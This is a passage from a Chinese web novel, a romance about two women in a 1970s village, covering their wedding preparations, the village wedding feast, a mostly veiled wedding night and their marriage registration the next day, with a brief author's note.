季白青蹭蹭她的胸口,语气黏糊,带了几分可怜:“真的不行吗?这次我会轻一点的。” 温淼瞪她:“才不会相信你。” 相信她会轻一点,还不如相信温棉棉下一秒就会开口喊她妈咪。 季白青抬起脸,一脸失落地看了她一眼,随后垂下头,懂事地开口。 “好吧,我知道了。” “就算我每天睡不着也没关系,因为我已经是没有老婆愿意关心的野人了,这里已经不是我温暖的巢穴了,我该回到我的野人洞里去。” 温淼:“……” 在乱七八糟说些什么东西。 见她站起来,耷拉着脑袋走到门口,正将手放在门上准备开门出去,不过动作缓慢,明显等着人挽留。 即使知道她是装的,温淼也还是不忍心。 她闭了闭眼,按了按太阳穴。 “回来。” 季白青转过脸去,看着她的眼睛瞬间亮了几分。 温淼冷着一张脸警告:“你说的要轻点。” 她拧了拧眉,见季白青身后无形的尾巴摇得正欢,还是觉得不太放心,多加了一句。 “你咬我我也会咬你。” 季白青的眼睛蓦然变得更亮了。 温淼见她亮得不像话的杏眸,瞬间有些后悔。 这人好像不太乖。 当晚,温淼后悔得不行,早知道就让她熬着好了! 【作者有话说】 本来今天想要写到结婚的,多写一点,但是家人住院有个小手术需要去签字,还得守着,回来的时候七点多了,实在是写不完了(鞠躬 明天如果没有意外的事的话,尽量多写点 感谢投雷营养液,感谢评论订阅收藏 第110章 3w营养液加更二合一 ◎“你好漂亮。”◎ 到最后温淼也有些恼了,干脆也狠狠咬住了她的用力研磨。 最开始季白青还隐隐觉得有些刺激,享受得眼睛都微微眯了起来。 第二天才后知后觉地感受到了疼,温淼在一边有些幸灾乐祸地看着她,哼哼两声。 “你现在知道疼了吧。”她每次都是这么疼的! 说话间,温淼将衣服套上,刚把衣服扣好,就感受到了隐约的刺痛,原本挂在唇角的笑意瞬间消失。 狠狠一眼瞪向了季白青,她放下狠话:“你今晚就自己睡吧!” 不管她睡不睡得着,这人这样坏心眼,肯定有办法解决,温淼抿唇生闷气。 季白青长手长脚,轻易将温淼抱住,黏糊糊撒娇:“对不起嘛蓁蓁,我今天真的不会这样了。” 她抱着温淼的时候,眼睛垂着眸,像是母兽般将伴侣圈到自己的地盘。 微微眯起的眼中带了几分餍足,眼尾还泛着红,透出几分难言的缱绻勾人。 这一觉睡到了九点多钟,两人都睡得很沉。 季白青昨天所说的话也没错,确实那样之后也没有多大时间焦虑,累了之后到头就睡,晚上的时间休息得很不错。 眼下青黑淡去几分,面色也红润起来。 只是温淼的胸口遭了殃。 见温淼板着脸,似乎仍旧不为所动的模样,她可怜兮兮道:“可是明天一天都不能见面,等到后天才能见面了,你不会想我吗?” 闻言,温淼有些诧异地看向她。 “为什么明天不能见?” 见她这懵样,季白青就知道大概是何香月还没将这个消息告诉她。 她解释道:“这是我们村里结婚的传统,都说结婚前一天见面不吉利,虽然是信则有,不信则无,但我觉得还是照着这个来,明天还是不要见面了。” 季白青不太相信神鬼,却希望两人的婚宴能够如常进行,不会出现什么意外,所以愿意遵守这样的习俗。 她挑了挑眉,看向温淼,询问:“明天都见不了,蓁蓁你确定今晚要抛下我吗?” 温淼看她纯良的脸,觉得她蔫坏。 明明都知道答案是什么,还要问。 她字正腔圆回答:“嗯,你自己睡吧。” 睨了青年一眼,女人红唇微张,继续道:“反正今天白天又不是不能见面,不过是一天两夜不能见面而已,我又不是忍不了。” 季白青没想到她真的这么狠心,将人抱得更紧了一些,闷闷拒绝:“不要、不行,不能分房睡。” 她三连拒绝。 随后,她再次用自己岌岌可危的信誉承诺:“我真的不咬那么重了,而且你也咬了我,你得负责的。” 听她后半句话,温淼简直快要被气笑了,这人现在真是倒打一耙。 她都被欺负成什么样了,还要对罪魁祸首负责。 “难道不是你咬我我才咬你的吗?你还怪上我了。” 季白青不听:“不管,无论是什么原因,你就是咬了我,这是事实。” 温淼轻轻扯她发尾,细声细气评价:“越来越不要脸了。” 季白青坦然承认,不以为耻,反以为荣。 “脸不要了,有老婆就好。” 温淼被她抱了一会儿后就将人推开,“饿了,别抱了。” 再抱下去就到午饭时间了,其它的不说,温淼怕被何香月和温向荣揶揄。 现在起床还能用睡懒觉来掩饰,再晚一点起床的话说什么都讲不清楚了。 她回忆着昨晚,似乎一直都是咬着唇的,没有多大的动静,实在是忍不住了才发出了一点细碎声音。 应该不会被人听见。 今天倒也没什么事,其它的准备都交给了何香月和季伟,找了当天的厨子,又找村里人换了鸡鸭,桌子和凳子也借好了,就等着十七号那天给摆上,十八号正式使用。 越接近婚宴的时间,温淼其实也有些紧张,下午在复习的时候看着手上的书,半天都翻不了一页。 至于季白青,早就放弃了复习,去外面帮着干活去了。 虽然早上起床的话说得坚决,但到了晚上睡觉时,温淼还是往季白青的怀里窝。 抱着怀里的温香软玉,季白青的唇角翘起,倒也没打算今天再折腾什么,只是单纯地搂着她,嗅她身上的气息。 她有些恍惚的开口:“还有一天就结婚了。” 七十年代,婚宴比起一张结婚证更能证明一段婚姻,不少年纪没到的人都直接办个酒席,婚姻关系就得到了邻里的认可。 两人最初见面的时候,无论是谁应该都想不到她们会在一起,甚至结婚。 此刻,季白青内心的幸福满得快要溢出来,她抱着温淼的手收紧,在她脸颊上啄吻,情难自禁地轻喃道:“好爱你,蓁蓁。” 温淼也将她抱住,温温柔柔道:“我也爱你,很爱阿青。” 这一晚,难得的什么都没做,两人抱着很快沉沉睡去。 第二日一早,何香月就在外面敲门。 “白青,快起来了!” 季白青和温淼都被门外的动静吵醒,揉着眼睛迷糊应下的时候还是茫然的。 温淼撑着床面坐了起来,有些奇怪询问:“怎么了?” 季白青也还处在茫然的状态:“我也不知道。” 她打了个哈欠,下床趿着拖鞋开了门,和何香月对上视线。 “……娘,一大早的干嘛呢?” 何香月的语气十分恨铁不成钢。 “还早呢!看看太阳都多高了!” 季白青顺着她的话往外一看,天也就朦朦亮,哪来的太阳。 何香月拉着她就要往外走:“说好的今天不能见面了,你快往新屋那边去。” 季白青顺从地跟着走了几步,又想要往回走。 “衣服没换,还没洗漱……” 何香月开口道:“你在这儿等着。” 说完,她转身去回到房间随手拿了件外套,见床上的温淼还处于茫然的状态,她安慰: “没事啊淼淼,你继续睡你的,待会儿做好了早饭再叫你。” 说着,她将外套拿出去递给季白青。 在季白青的强烈要求之下,她洗漱后才去的新屋。 何香月没多久后来给她送来早饭。 吃了早饭之后,季白青彻底清醒了几分。 也没什么别的事,她上午将新屋每一处的卫生死角都打扫了一遍,尤其是主卧,擦得崭新,看不到一粒灰尘。 床上的四件套还是何香月和温向荣、温如嫣一起去挑的,红色的布料上面绣着两朵并蒂花,还挺好看的。 布料也柔软。 按照惯例来说,还要在床上铺花生桂圆瓜子之类的,但季白青和温淼怎么捣鼓都不会有孩子,所以这一步可以省略掉,刚好不用糟蹋被子。 她将被子叠得更为整齐一些,主卧的每一处都收拾妥当,好像就再也没有其它的事情可以供她发泄精力了。 在原地站了一会儿,她将明天要用的东西找出来。 一个上午,在她各种找活儿之中勉强度过。 中午,何香月来给她送饭。 季白青往她身后看了眼,虽然知道温淼大概不会过来,但没见着自己想见的人,即使早已有了准备,心里还是有几分失落。 何香月将碗放下,自己生出来的女儿她怎么可能不知道她在想什么。 剜了她一眼,何香月说:“别看了,人没来!今天是什么日子你不知道?结婚前一天不能见面!” 季白青恹恹坐下,在何香月面前多了些小女儿情态。 “我就是想想嘛,娘,淼淼说想我了吗?” 何香月:“……淼淼吃的好喝的好,没事想你干什么。” 季白青的心上莫名中了一箭,她有些不大乐意,趁着何香月没注意到,偷偷瞪她一眼。 她吃着饭,想,她娘说的话才不对,温淼应该也会想她吧。 其实平日里出去干活亦或是去黑市的时候,半天见不到人倒也不会有这么想着温淼,也许是今天没什么活干,闲了下来,加上确实知道有确切的一天的时间是不能和温淼见面的,几乎是数着时间过日子,因为这些因素影响,季白青格外想她。 下午,季伟她们开始在院子里将明天要用的桌子和凳子摆开,季白青也去帮了会儿忙,时间慢吞吞过去,好不容易到了晚上。 季白青坐在桌前,正要将明天要穿的衣服熨平整。 耳朵微微一动,她突然听到了屋外传来的细微动静。 刚皱起眉心,想出去看看是谁在大半夜过来了,原本半展开的窗户屈却突然被推着合拢起来。 窗外是温淼清甜的声音:“阿青。” 季白青一怔,反应过来后眼睛不受控制地弯了起来。 都这么晚了,她怎么来了?果然还是想着自己的。 “嗯。”季白青在屋内轻轻应了一声,站在了窗前,却没看窗户,眼神落在桌面上展开的红色衣物上。 婚前一天不能见面,但不见面说说话似乎也不算违反。 温淼的声音也放低了些,和她说着自己现在的心情:“阿青,我其实还有点紧张。” 季白青也紧张,这时候手心都是湿润的。 她安慰温淼:“不要紧张,明天到了时间我就去接你,早上姑姑她们也会去陪着你的。” 看了眼时间,她提前换上了温淼送她的那一块表,手表精致秀气,时间也比以前的要准。 现在已经八点多了。 她柔声道:“没事的,明天上午我就去接你了,现在不早了,你先回去休息好不好?” 温淼沉默了一会儿才开口:“可我还想和你说一会儿话。” 季白青应下,耐心道:“我知道,你说,我听着。” 女人轻喃的声音传到了季白青的耳朵里,她问:“明天真的结婚了吗?” 听起来似乎还感觉很不真实,其实季白青也觉得。 季白青稳了稳心,给她肯定的答案:“对啊,明天结婚,后天就去领证,难不成你还想跑?” 她逗她:“你都把我吃干抹净了,要对我负责才行。” 说完这话后,温淼隔了很久没再言语。 季白青猜测,这是害羞了?也不是没有这个可能。 哪知过了会儿温淼就开口了,她清了清嗓子,声音里带了几分笑意: “阿青,奶奶和何婶现在就在我旁边呢。” 季白青:“……” 她捂住脸,即使脸皮再厚此时此刻也觉得有些不好意思。 还以为温淼是一个人来的,结果还有两个长辈跟着。 也是,这么晚了,她一个人出来根本就不安全。 季白青只能装作不知道自己刚才说了什么,又强忍尴尬和温淼聊了几句之后,就让温淼早点回去休息了。 等到人离开,季白青坐回桌前,捂住脸颊哀嚎一声。 这也太羞耻了。 或许是刚才和温淼聊天了几句起了作用,即使没有温淼在身边,季白青洗了澡之后再床上躺了没多久就睡着了,还做了个记不清内容但泛着甜的梦。 结婚当天都起得早,何香月带着李雯雯和村里其她几个年轻姑娘到新屋客房这边给季白青打扮。 季白青换上了姑姑们给准备的衣服,里面是柔软的白色丝质衬衫,很贴身,外面套着一件轻薄的红色收腰外套,红色下裙的长度到小腿肚,露出一截白净的小腿,裙摆是荷叶边,迈开步子时裙摆摇晃的弧度*格外漂亮。 她的发丝黑亮柔软,对着镜子让李雯雯给她盘发,在她的指导下,黑发被李雯雯挽到偏右侧成了个蓬松的丸子头。 将温知意她们准备好的几朵绢花配饰别到发边,红色的精致绢花衬得面色红润,人比花娇。 李雯雯看着她现在的模样,眼中闪过一丝惊艳。 “白青,你可真好看。” 不止如此,她会编的头发也多,如果不是她的指导,李雯雯都不知道这样弄出来的发型竟然有这么美。 闻言,季白青只是笑了笑,没多说话,对着镜子将头发扯得更为蓬松一些,摆弄了好几次才到了最满意的样子。 何香月在另一边将带来的雪花膏那些拿出来,给她擦了脸,季白青自己将红色的唇膏涂上,最后挂了个珍珠的耳坠。 圆润的珍珠抵着她的下颌线,越发显得她皮肤莹润,犹如新雪。 何香月今天也穿的格外郑重,头发收拾得利索,穿了身红色的衣服,脸上带着细纹,有着被岁月侵蚀的痕迹,却丝毫不能折损那份美。 看着镜子里的季白青,即使知道她不是远嫁,她也没忍住抹了把眼角的晶莹。 她也就只给了自己一点伤感的时间,伤感完后,立马吩咐她:“站起来给我们看看。” 男人都被何香月打发走了,门口都是些小家伙和姑娘们挤在一起,好奇地想要看看今天的新娘之一的模样。 人们都说,结婚的时候是最漂亮的呢。 季白青将唇角的口红晕开,又在颊上抹了点晕开衬出气色,这才听何香月的站起来。 估摸着今天温淼会穿带跟的皮鞋,季白青便穿的是双红色的平底女士皮鞋。 面相众人的时候,所有人都看呆了。 满满双眼亮晶晶的,带头开始鼓掌。 “青青姐姐可真好看!” 本就秀致的人打扮起来,跟一朵花儿似的,清纯娇艳,一颦一笑都自带风情。 瓜子脸饱满莹润,上面带着浅浅的笑意,眼神明亮。 她拿了一抓糖果,开始给门口的姑娘和小孩分。 “新娘子发喜糖咯!” 早饭是季家和新屋这边都摆了,一部分人在这边吃,一部分人在季家吃。 今天的早餐可以称得上是丰盛,大白馒头和红薯粥可以任选,还炒了两盘酸豆角炒腊肉、外婆菜炒鸡蛋做配菜,被邀请来的人都埋头大快朵颐,周围的说话声不断 一向食欲旺盛的季白青此时却不太有胃口,随意对付了几口便放下了筷子。 她趁着人少没人注意,悄悄回到了房间,手按在心口,这才明了自己刚才觉得心跳得异常的快并不是错觉。 真的很紧张,毕竟是第一次结婚,情有可原,她安慰自己。 在心里暗示了几遍过后,季白青缓缓吐出一口气。 再等一会儿,八点就要过去季家将温淼接过来了。 早饭吃完,每家都出了个人一起去将碗筷洗干净。 八点的时间一到,门外的鞭炮摊开,小孩都躲到了屋里,捂着耳朵准备听鞭炮响。 季白青出门前最后看了眼镜子,见头发没乱,妆容依旧,这才放下心来。 李雯雯见她还没出门,连忙过来催促道:“白青,现在该走了,待会儿就到放鞭炮的时间了。” “嗯!”季白青应了一声,和李雯雯一起走出了屋子。 等到一行人都走出了院子,热闹的鞭炮声瞬间炸开,红色碎屑也随之纷飞,轻飘飘地落在地上。 走着去季家的路上,季白青的心跳仍在轰鸣,紧张、期待又急切地想要见到温淼。 她的爱人,她的新婚妻子,她老婆。 两家的路并不长,不少村民都没有上工,在路边看着季白青她们往季家走。 周围的人议论纷纷,羡慕的有、嘱咐的也有,只是季白青都没有听进去。 走到了季家,季家门口也站着不少人。 温向荣、温如嫣、梅叙、尚敏…… 见到季白青来了,有人高声喊道:“小季来了!” 屋子里起哄的声音大了些,不难听出来是在调侃温淼。 季白青身后的人也瞬间炸开了锅般,将季白青推嚷着往屋里去。 门不知道什么时候被打开,两个新人瞬间撞在了一起。 柔软的身子撞进了自己的怀里,鼻尖是馥郁的蔷薇香混杂着些许甜味,季白青稳住身体,将人抱住。 两人站稳后,相互对视,都从对方的眼中看出来惊艳意味。 尤其是季白青,看着温淼的眼睛简直要放光。 她老婆这也太太太太太太太太太太好看了吧!!! 温淼穿的是一身白色波点红裙,露出一截白皙的脚踝,脚上的红色皮鞋带了点跟,两人间的身高差瞬间不剩多少。 额前的头发卷曲,轻盈地落在两颊,有的自耳后冒出,蜿蜒而下,长发被盘在脑后,一朵带流穗的红色珠花垂下,末端的绢花和串上的珍珠流穗恰好落在肩膀上方,脸颊泛粉。 洁白如玉的耳垂上戴的是与季白青如出一辙的珍珠耳坠,整个人明艳娇媚,美得不可方物。 也有不少人先前还没见着两人的模样,此刻突然一见,眼都看直了。 “这俩可真好看。” “对啊,白青和温知青看着就很般配。” “跟仙女儿似的。” “这衣服可真好看,我结婚也要买一套!” 温淼被季白青看着,有些不好意思,扯了扯她的手,低声叫她:“阿青。” 还在这愣着干什么呢? 季白青回过神来,咽了口口水,在众人的注视之下一把将温淼抱了起来。 温淼熟练地搂住她的脖子,眨了眨眼,忽然听到青年柔柔的声音。 “今天好漂亮。” 刚才明明被别人夸了那么多,她还能够坦然接受,但是被季白青这样一说,她却还是觉得羞涩。 她靠在季白青的胸口,抿着唇在众人的起哄中被抱着往新屋走。 不知道是谁最先开的口,走在路上,忽然有人开始喊:“亲一个!新娘子亲一个!” 这话一出,不少人也都想要看,纷纷道:“亲一个!白青,快亲给我们看看!” 温淼的脸都红透了,不敢再露出脸来,默默将头埋在了季白青的胸口。 季白青也将怀里的人抱紧,拒绝:“不行。” 任别人再怎么劝季白青都没有松口。 笑话,亲老婆这种事,怎么可能在那么多人面前做。 一是温淼脸皮薄,而是季白青也不喜欢在外人面前展现两人的亲昵,这种事只能回屋里坐。 她丝毫没有动摇,将温淼抱到了新屋。 刚跨进院子里,有人高喊:“新娘子回来了,放鞭炮咯!” “捂着耳朵。”季白青轻声对怀里的人道。 鞭炮再次被点燃,季白青见温淼捂住耳朵后,伸出右手将她往自己的怀里扣,不让她的脸沾到鞭炮碎屑。 噼里啪啦一顿响后,两人的身上都沾了些红色碎屑,院子里的人将手拍得震天响。 将人抱到了主卧里,放在床边,两人坐下。 房间里也挤满了人,季白青也不方便和温淼做些什么,只是捏着她柔软的手臂,轻声道:“淼淼,到家了。” 只属于她们的家。 温淼点头,轻轻回握住她的手。 许云今天也来了,开始便一直跟在她们后面给两人拍照,两个人都漂亮,骨相也不差,相机被她拍了好几十张照片。 她口才好,让人将早就准备好的苹果带了过来。 她清了清嗓子,道:“现在离吃饭也还早,咱们做个游戏,刚好也能增进你们妻妻俩的感情。” 尚敏知道她鬼点子最多,站在一边抱胸看着她,为接下来的妻妻互动默哀。 温淼和季白青在此时还不知道事情的严重性,对视一眼后轻轻点头。 许云笑眯眯:“你们先坐。” 等看到了新婚妻妻坐下之后,她开口问:“今天觉得对方都漂亮吗?” “漂亮。”温淼和季白青异口同声地回答。 许云点头,将系着绳子的苹果拿过来,对她们狡黠一笑。 “妻妻俩不用手去碰苹果,但每人都要吃一口。” “如果失败的话……”许云沉吟一会儿,道:“那就让白青抱着淼淼做二十个蹲起。” 季白青看着许云,有些无奈。 二十一世纪的游戏也是被她们给玩上了。 见温淼有些好奇的模样,季白青便没有拒绝,只是在心里可怜温淼。 一向敏感害羞的人当着众人的面玩这种游戏,也不知道能坚持多久。 唯一庆幸的是,屋子里没给男人进。 两人应下之后,许云像是害怕她们会反悔似的,立马将苹果悬挂在两人的中间。 温淼试着去咬,可一凑过去,苹果就会被自己的脸推开。 两人的脸颊还靠得近,几次温淼都因为惯性前倾,亲上了季白青的脸。 就有起哄声响起。 几次过后,温淼还是没能咬住苹果,终于有人绷不住笑了。 温淼的脸颊一热,有些祈求地看向季白青。 季白青接收到老婆的信息,将自己的脸也凑了过去,压低声音指挥:“待会儿把苹果固定在我脸上,然后你就咬。” 温淼努力将周围人的眼神和话忽略掉,试了几次才将苹果固定住,最后张唇,小心地咬下了一口。 她长舒了一口气,最后也笨拙地帮着季白青用脸颊抵住苹果,让她也咬了口果肉。 见她们完成了,许云拍了拍手:“吃了苹果,祝你们妻妻平安健康。” “但是有个坏消息,虽然你们完成了,但是刚才花的时间太长,所以白青还是得抱着淼淼做蹲起。” “……”季白青就知道。 看似是惩罚,实则是必做游戏之一 趁着温淼还没反应过来,她将人抱起。 “裙子不方便,我就蹲一点。” 说完,她迅速将二十个蹲起做完。 在许云再次开口前,季白青看着自己脸皮薄的老婆,微笑对许云道:“许云,刚才我好想听见有人在叫你名字,应该就在后厨那。” 说完后,她将许云推出房间。 爱凑热闹的人不在,季白青开口道:“我们妻妻想单独说说话,大家行行好,先出去喝口水,都散散吧。” 房间里的人都离开了,季白青利索将门关上。 一上午都快过去了,总算是喘上一口气,有了妻妻两人单独相处的空间。 看着仍旧不好意思地低着头的温淼,她坐到女人身边,柔声哄她:“好了,人都走了,现在就我们两个人。” 温淼抬头看她,将她抱住,小声说:“刚才好尴尬,早知道就不答应了。” 她只是有些好奇那个游戏而已,没想要在众人面前这样。 季白青十分淡定:“没事,只是一个小游戏而已,下次许云结婚我们也让她和她爱人玩,蓁蓁刚才表现得很棒,一点都不尴尬。” 温淼看着她,视线落在她身上就觉得挪不开眼了,刚才人太多没找到机会,此时才小声夸她:“你好漂亮。” 不知道算不算是情人眼里出西施,反正温淼就觉得面前的季白青是世界上最好、也最好看的人。 这么好的人,可是她……老婆。 温淼抿唇笑。 季白青看她粉白的脸,与她额头相抵,一下吻在她的唇瓣上,没有深入,担心会晕妆。 “你也很漂亮,刚见到你我都挪不开眼。” 甚至还在恍惚,觉得十分不真实。 自己居然能够和温淼结婚。 不过,眼前的人是真的,婚宴过后,两人领了证,就是正式的妻妻了。 她捏了捏温淼的手指:“再在屋里待一会儿,到了十一点我们去敬茶。” 温淼乖乖点头,两人头挨着头靠在一起,小声说着话。 没能躲多久闲,何香月来把门打开,让相熟的长辈们来见这一对新婚妻妻。 季白青和温淼只能强行撑起笑容,和进来的长辈们说话。 好在何香月只让女性长辈进来,她们大多数说话都温和,即使是话语里带着调侃也都是善意的,和她们说话并不算累。 时间很快过去,到了十一点,要去堂屋给何香月她们敬茶。 何香月、季伟和温如嫣坐在主位上,两人先给温如嫣敬茶,季白青一声姑姑喊得特别干脆利落。 温如嫣笑眯眯地接过茶水喝了一口后给了她一个厚厚的改口红包。 随后是给何香月她们敬茶,温淼在前一天晚上的时候怕今天掉链子,所以也在心里偷偷练习过几次,现在改口也并不算难。 她开口:“娘、爹。” 何香月接水得特别快,笑得见牙不见眼的。 这么长的时间,总算是改口了,这下她可是有了两个大闺女。 她道:“诶!娘和爹给你个大红包。” 她拍了拍季伟,将两个红包递给温淼。 人散去的第一时间,季白青和温淼凑到温向荣面前,季白青举着杯子给她,乖乖叫人:“奶奶。” 温向荣不说话,抿了一口也给了季白青个红包。 众人见证过改口后,到了十一点半,菜陆陆续续开始上了。 今天的午餐也格外丰盛,一共五桌人,坐得满满当当。 每桌都是六个菜,都是硬菜,剁椒鱼、梅菜扣肉、炖猪蹄、炒鸡肉、老鸭汤还有个凉拌黄瓜。 每个菜的分量都大,一桌十几个人吃足够了。 季白青和温淼拿着酒杯,一桌一桌地敬酒。 两人喝的都是白水,都是女同志,也没人和她们计较,五桌很快敬完,被亲戚朋友们拉着夸了好一顿,大部分说的都是两人分外相配,夸得季白青挺开心。 等到最后一个女性长辈说累了,两人被放开,这才得以回到饭桌上开始吃饭。 温如嫣给她们打好了饭,季白青接过,一碗放在温淼面前。 又给温淼夹了些她不太能夹到的菜,这才开始吃自己的。 早上没吃什么,又一大早就起来开始忙活,到了现在的这个点早就饿了。 温淼倒是还好,简单吃了点后,侧过头去见季白青吃饭的速度有些快,在桌下戳了戳她的腰,凑过去同她咬耳朵: “吃慢点。” 季白青应下,听话地放慢了速度。 见妻妻俩吃饭都还在咬耳朵,感情好得很,何香月也在一边悄咪咪地偷笑,不知道和温向荣说着什么。 她们这一桌的人凑不满,尚敏和梅叙也坐了过来。 尚敏恰好就坐在温如嫣的身边,见她妥帖地照顾着桌上的每一个人,独独落了她自己,便用干净的筷子给她夹了些菜,温声道:“姑姑,饭菜马上就冷了,你也快吃。” 温如嫣一愣,对她弯弯唇,柔声道谢:“谢谢小敏。” “没事。” 尚敏见她真低下头开始吃饭,这才继续吃饭,同时也照顾着温向荣她们,见她们夹不到菜的时候及时出手,以免温如嫣吃着饭又分心。 反正她吃得也差不多了。 下午的时间堂屋的桌子上摆满了煮熟的板栗、花生、瓜子还有核桃,各种花花绿绿的糖果、饼干点心也摆了上来,来参加婚宴的人都在里面热热闹闹地谈笑。 院子外也站着不少人,都是没有被邀请来婚宴但想要来凑凑热闹的人。 原本中午见着她们吃这么好,就有人眼红,但是何香月和季伟随时盯着,不给一个没被邀请的人进来。 不少人都只是端着碗,站在外面看个热闹。 现在见着吃完了饭,居然还有糖水喝、有这么多吃的,不少人越发忮忌。 一个大爷撺掇自己家的小孙子:“乖孙儿,你是不是想吃糖啊?” 小孩的鼻涕和口水一起流,闻言懵懂地点头。 大爷指了指屋内:“里面都是,你去抓一把就出来。” 说完,他顺手就将院子的门打开,小孩咋呼地冲进去,一言不发就开始伸直了脑袋要去抓糖果。 何香月见状,拿了个扫帚,一下打在他的腿上,不轻不重的,但足以将小孩恐吓住。 她大着嗓子开口:“你为什么来偷东西?” 小孩瞪着她:“我才没有偷东西!我爷爷让我来拿东西的。” 何香月举着扫把,眼睛瞪更大。 “不经过同意就是偷!你现在要是再不出去,我就把你揍得哭爹喊娘!老娘说到做到。” 小孩被她马上要落下的扫帚吓得哇哇大哭:“呜呜哇哇哇!爷爷!我要爷爷!” 何香月不等大爷自己进来,将小孩抱冬瓜似的抱出去塞到大爷手里。 往院子四周看了一圈,何香月道:“没有骂过我、在背后给我们使过绊子的人我自然会叫过来吃好喝好,你们知道自己做了什么事就别来我们这儿丢人现眼了,今天是我女儿和女媳的好日子,你们别逼我动手。” 她将扫帚往院子里一丢,发出砰的一声。 闻言,有人嘴角抽抽,她不是早就动手了,还说什么别逼动手。 但这些话到底还是威慑住一些在一边等着占便宜的人,不少人再站了会儿见没什么名堂就走了。 季白青和温淼在躲在角落嗑着瓜子看热闹,都对何香月十分佩服。 婚宴管三餐,晚上还有一餐,等到客人都离开之后,已经在十点之后。 妻妻两人虽然被家人体恤照顾着,但是现在也是属于累得不行了的状态。 回到房间的时候,发现温棉棉不知道什么时候被抱了过来,脖子上系着一个红色蝴蝶结,正在红色的喜被上打滚。 看的季白青失笑,扭头问温淼:“这算不算是小孩滚床了?” 她提起裙角,蹲在床边,抖了抖棉棉:“温棉棉,快说点好听的话,比如妈妈妈咪百年好合之类的。” 温棉棉一双明黄色眸子圆睁:“喵喵喵喵!” 叫得可凶。 季白青嗤笑一声,弹了弹它的小脑袋。 “行了,你妈妈妈咪要洞房花烛了,你出去吧你。” 说着,她开门见到温如嫣后把猫交代给了她,没再管猫,将门一关。 妻妻俩今天一天都觉得对方好看,可惜就是没时间一亲芳泽。 现在总算是有了单独相处的时间,接下来也不用见人,不需要担心口红花了。 季白青往小沙发上大喇喇一坐,压住了一截裙摆,露出玉白的小腿。 她扬起下巴,看着明显馋了自己很久的老婆,开口道:“想亲的话现在过来亲。” 温淼皱了皱鼻尖,倒是没说什么,乖顺凑过去要和她接吻。 出于私心,季白青在卧室里也放了一套沙发,单人座即使是坐两个人也能坐下,更何况季白青和温淼都纤细。 温淼不满地将她翘起的腿压下去,跨坐在她的腿上,手掌放在她的肩头微微握着,将脸凑过去同她亲吻。 两种口红的不同味道交织,季白青的头微微后仰,靠在沙发上,好让温淼能够亲得更加方便一些。 温淼亲着她,没忍住发出柔软的哼唧声,口红基本都被互相舔吃完。 她的唇落在季白青的唇角没有离开,声音清浅:“老婆,今天真的特别好看。” 季白青抱住她的腰,低低应了一声,“你也特别好看。” 她的声音哑了几分,手往下落在腰下,问:“门锁了吗?” 温淼再度去吻她,动作有些急切,发出的声音也含含糊糊。 “……不知道……反正、反正没人会进来。” 季白青的手往下探,左手搂着她的腰肢,婚戒抵在皮肤上,有几分冷意。 感受到怀中女人瑟缩一分,季白青将她的衣服往下拨,又裹了层薄毯,指尖在唇角按了按,润的,她没再多准备。 温淼索吻的速度逐渐慢了下来,最后只剩下无意识地去吮季白青的唇瓣。 偶尔会有一两声的求饶,声音都是腻味的甜。 季白青的下裙被变成深一块浅一块的颜色,温淼咬着她的唇,软糯道: “老婆……慢、慢点。” “老婆,老婆……”她眉头紧锁,觉得有些温吞,主动将自己往季白青的怀里埋。 新婚夜,温淼叫老婆的频率直线升高,到最后,嗓子都哑了,一张口,什么话都说不出来。 季白青的裙摆被撩到大腿处,膝盖处有几分湿黏。 温淼的声音软,弄得季白青也有了几分感觉。 原本季白青把人放在床上,就准备帮她换一身衣服洗澡睡觉的。 只是原本满脸疲色的人却还是支起了身子,搂着她的脖子就将她带到床上。 两人今日拿着的两捧捧花还放在桌面上,睡前浇了些水,现在邻近的两片花瓣贴合在一起。 窗户打开,徐徐的风往屋内吹,吹过花瓣,花瓣上落下的水珠摇摇欲坠,两片鲜妍的花瓣叠在一起,最后就连上方的水珠都混合在一起。 风逐渐变大,花枝被吹得摇摇晃晃,花瓣也随之颤动、拍打。 最后,两人将捧花放进了水里,有了水的滋养,捧花显得越发鲜妍动人。 季白青的脸上带了温淼的珠花留下的印子,刚才珠花随着动作一直在往她的脸上压,尤其是圆滚滚的珠子的印记最为明显。 原本有意想要慵懒的盘发在最后也变凌乱地散落在背后。 温淼的头发也有些乱了,碎发翘起来。 两人都累得不行,强撑着最后一点意识将头发拆了,洗了把脸,换了身舒适些的衣服,连澡也没有洗,抱在一起蜷缩着睡着了。 第二天不用早起,季白青那和温淼睡到差不多十点才醒来。 季白青抱着温淼,刚撑开眼皮就见着她雪白的脸颊,在上面亲了一口,看见对方睁开琥珀色眼眸,季白青弯弯唇。 声音还是带了几分哑的,“老婆早上好。” 温淼再度合上眼皮,还累得很,胡乱找了个她脸上的地方亲了一口。 “阿青早。” 说完后,她再度睁开眼睛,清醒了几分,纠正自己刚才的叫法。 “不对,是老婆早才对。” 怎么这么可爱?季白青又亲她几口。 两人继续在床上躺了一会儿,因为身体还是酸软的,以至于全身都在发懒。 十几分钟过后,季白青先起来,把衣服找好,放在床边。 她懒洋洋地抻了抻手,打了个哈欠后,开始换衣服。 冷白的脊背上是星星点点漫开的绯色的吻痕,温淼看了一眼,有些不好意思地挪开眼。 虽然是她干的,可她确实还是会觉得羞赧。 季白青衣服换的快,细腰窄肩很快就被隐藏在衣物之下,温淼再度扭头看过去的时候,什么都看不到了,她撑着下巴觉得有些可惜。 季白青哪知道她在想什么,随意将头发绑起来后去灶房准备早饭,还得烧水。 结果发现灶房里有粥和菜温着,就连锅里的水都是热的。 大概是何香月来弄的,想到这,季白青的心里一暖。 简单洗漱过后,季白青洗了个澡回来,温淼还在赖床。 季白青戳她脸颊,催促:“老婆,起床,今天还得去领证。” 她身上穿着特意为今天准备的收腰衬衫和黑色长裤,显得腰细腿长。 温淼应了一声,但还没有要起来的意思。 季白青任劳任怨帮她换好衣服,随后提醒:“要快点,不然去镇上的时候该赶不到了。” 婚姻登记处十一点半就下班了。 温淼这才下了床,去洗澡吃饭。 出门的时候也不晚,十点半,有了昨天办婚宴的经验,今天拿着结婚申请去婚姻登记处的时候倒没有那么紧张,但是期待的心情肯定还是有的,毕竟有了结婚证才是真正代表着她们的关系真正缔结,是被法律认可的关系。 结婚申请是经过李向东同意的,交给登记处的同志后,两人签了几份文件,很快就被引到拍结婚照的地方。 结婚证也很快被颁发下来,也不是多么正式,看起来像个奖状,照片也不用贴上去,不过是用来做个纪念。 捏着那张结婚证书,季白青小心翼翼地买了两张报纸将其包好。 从结婚登记处出来后,她们去了供销社。 买的东西已经在昨天的时候吃完了,但还有些没有邀请去婚宴的朋友需要发喜糖。 季白青和温淼挑了喜糖后去柜台结账。 